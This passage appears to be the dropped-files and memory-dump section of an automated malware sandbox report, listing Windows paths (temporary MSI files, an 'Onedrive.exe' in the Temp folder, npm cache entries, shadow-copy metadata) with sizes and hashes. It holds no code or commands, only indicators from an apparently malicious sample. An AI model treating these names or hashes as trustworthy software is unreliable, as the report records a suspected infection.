              e151e1baf569528b358876a3c5f2d37c

              SHA1

              fa61a8331388a82800edebd97566412fe3055605

              SHA256

              74d2522b2525136eb4a92c5ccf5e7824696fc18ab1378e372ca5059848335f74

              SHA512

              674395f94a6a8323cba8d3cf50d2b5089b646c44411874a7e604c962988cb3a08f9b02dc778e61c0dcef352005f46eb00bc7782aa91c21ddb1532718742269da

              Download Submit

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_0D7BFF9D231ADDC3439B70E4C5E809D4
              Filesize

              404B

              MD5

              8053fbfa4f0f671d639ccba0e5dd8182

              SHA1

              09ab4313a50eea5bc341c3512fa0dd33eb7ea3a4

              SHA256

              85708f8c3c2cc2a9f4df609e5d023265b2e10dccdcbb582f8d1ad9fd64961198

              SHA512

              3e69e0ac2846d97a9730b56545d1835337902b034ce6f90711f726b71378f2c23bdf42a183eff1eac13e11b281d6e25aa2b60bd9d99e36bbd94a1513f498268f

              Download Submit

            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
              Filesize

              412B

              MD5

              8b1ca56763ad5d3ac42826eb25b672ff

              SHA1

              5d910b4c5bf428fcda53ab1b128922cae13a3729

              SHA256

              1c93e437dd43cc35853e44b118eee857db4ef385c36914f365304c80944f5bc9

              SHA512

              0553601d21b8931ccc4b953a7c7fd0ee0ad9a48df7394fe436c7b686e9ea53a896a12a0f3ab674de055409953a0c8ee2a74a2b42ca5abb45c0cfcdc019f071ae

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\MSIC459.tmp
              Filesize

              144KB

              MD5

              7fa9d662d634534d7c2240dd126bdeee

              SHA1

              bd01e22ed2da0d0d485824b372ac67da683863d2

              SHA256

              c0e8683b697b3c6e55deb4497d3434d6e2cc841eb8c9a1b7d3f8907cff7de206

              SHA512

              cbc737e3eb94151c9dacaa5ee780cb550176ca2be2e0c66925884b5bc6222b7bcde5ed66e881f2a76f3d26edf5331abf0e74c819ad4f5fd7d0819bc4c138bb81

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\MSIC516.tmp
              Filesize

              390KB

              MD5

              80bebea11fbe87108b08762a1bbff2cd

              SHA1

              a7ec111a792fd9a870841be430d130a545613782

              SHA256

              facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

              SHA512

              a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\Onedrive.exe
              Filesize

              164KB

              MD5

              ad5e049817cef1730d3d64ed62f59d31

              SHA1

              81a18a01cf3b3f0f09b2fd2e320a255072a23c11

              SHA256

              31acbbe3b7914afc630dbfb88789824a3a9f35098137437f14194443c635a4ab

              SHA512

              750edf216d137df889b452119dca04d06d9c599bf42f59baed2d12c1960cb8fd692db562f65f82108a3ee03b758a24d7aeb717b6d086c9670a5fc0a445f99dbd

              Download Submit

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3bd1cfhj.h2p.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              Download Submit

            • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\41f77d91
              Filesize

              63KB

              MD5

              07390bd72e781a17aadc776f76bb1cbc

              SHA1

              98f56ef599b709a37ae99d902f14e14270758b81

              SHA256

              c371d1ec7b22b1b04af10f44e5cf3485c2cfc1cfedd7f2e13b11179c0efa349e

              SHA512

              e96ebace4d4f907e38965a11ca1b11865d27c0d77ac431614bb73cca3aa503c0dd4e553421d15210bc09a91f817d280d63b03a2d61cc33c3a8876320e6589435

              Download Submit

            • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\9442dfa2
              Filesize

              7KB

              MD5

              3bcba958c6b6f93281ecae10d9487373

              SHA1

              d8215f38b885ddd8635c0ea338210f068e4781ee

              SHA256

              3936cd62847ce2f4e3cc2ab3633de5d02f02fbcf204fd52c03bd7ee7db55e169

              SHA512

              febf37c6c84f2c2c3138c50cc21580fffef19f2fe554145712c8f5f8a02827c48268a23fbeeebc48224571c46505484e0ae44924f614d416d691ba1004feb007

              Download Submit

            • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\9d7bc3a0
              Filesize

              186KB

              MD5

              7d8404695a53f470f2b060adae165dae

              SHA1

              13de10a067a92352f00348c0817af32858468281

              SHA256

              3a4941937fdf971ccee65825a86187afe121b3512f54f786f0d6f0b5d513608b

              SHA512

              064e963432ff2c9f7f8ef69f5b3de26f7c964e71fbecfa665b69b81550927e1a8415142e5dee40b4fa4212501f6f410ac0bbf2faafcfa94a0f2ca35328e22dad

              Download Submit

            • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\b80fe60c
              Filesize

              117KB

              MD5

              f02c8f1593eba61ef0e3fb9b5f6282eb

              SHA1

              5cef0275d738b434920f2105cb6e448f5b4e1af3

              SHA256

              fe6f28f4abf3ef6516622a98ce9f802e8ca5c55647a7b46df49766284b9609f4

              SHA512

              2c719dafddcfc8bb060d686b050eaf92ef9e2207b04c4bc4d19ca8672f4d6d8058f5bcdf08975260ac64b990bd5a20d69420f411ed7fc74ff8fcced5c3fa4cdd

              Download Submit

            • C:\Windows\Installer\MSI4527.tmp
              Filesize

              341KB

              MD5

              74528af81c94087506cebcf38eeab4bc

              SHA1

              20c0ddfa620f9778e9053bd721d8f51c330b5202

              SHA256

              2650b77afbbc1faacc91e20a08a89fc2756b9db702a8689d3cc92aa163919b34

              SHA512

              9ce76594f64ea5969fff3becf3ca239b41fc6295bb3abf8e95f04f4209bb5ccddd09c76f69e1d3986a9fe16b4f0628e4a5c51e2d2edf3c60205758c40da04dae

              Download Submit

            • C:\Windows\Installer\e5816de.msi
              Filesize

              28.9MB

              MD5

              fa9e1f3064a66913362e9bff7097cef5

              SHA1

              b34f1f9a9f6242c54486a4bc453a9336840b4425

              SHA256

              9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

              SHA512

              ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

              Download Submit

            • \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
              Filesize

              24.6MB

              MD5

              c3969fcee9c99af916e62c0a599e2a03

              SHA1

              2ee6bc2c469b1b53f4578a30444477e618f5d54a

              SHA256

              6e04b756998667f3c7fd6e050d8f9211e9d7ba0357fc75aa4ca9cbb66e7a45ca

              SHA512

              1d7c24d5941440b0042947d575505298fbdcdb9e593f9ca157b4a7636325785369fdb002f4d824f5a95d0d8731739f8df765c2b08a47df3e66508a8d4c401a0b

              Download Submit

            • \??\Volume{27bfae7d-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c0a2cde8-1e65-47f2-8b2f-408c629dfbb5}_OnDiskSnapshotProp
              Filesize

              6KB

              MD5

              84186a81010c4fd6d875c4de9d803700

              SHA1

              17575a120f1d91846dca02fa01c84dda3de6c7a3

              SHA256

              a7c6ddeb89f1934d2a9d63137e6d1e6f96e73108dc2ebb54366c2cd1c4b389e1

              SHA512

              55a32fb1ff69fff419f1b43ce56245435f5eef67730b2ed69938e338e571ef884fdb30ce1808fdf32724afe259a2a28f43095effaa08395dd19de652d886a3c9

              Download Submit

            • memory/232-3196-0x00000000029F0000-0x00000000029FC000-memory.dmp

              Filesize

              48KB

              Download

            • memory/232-3188-0x00000000009E0000-0x0000000000A0E000-memory.dmp

              Filesize

              184KB

              Download

            • memory/764-3153-0x00000194F64E0000-0x00000194F64EA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/764-3154-0x00000194F6570000-0x00000194F6578000-memory.dmp

              Filesize

              32KB

              Download

            • memory/4084-3142-0x000001986EAB0000-0x000001986EAD2000-memory.dmp

              Filesize

              136KB

              Download

            • memory/4564-3128-0x00000000004C0000-0x00000000004CA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/4896-3175-0x000001E8D0590000-0x000001E8D05B4000-memory.dmp

              Filesize

              144KB

              Download

            • memory/4896-3174-0x000001E8D0590000-0x000001E8D05BA000-memory.dmp

              Filesize

              168KB

              Download

            • memory/4896-3172-0x000001E8B7FA0000-0x000001E8B7FA8000-memory.dmp

              Filesize

              32KB

              Download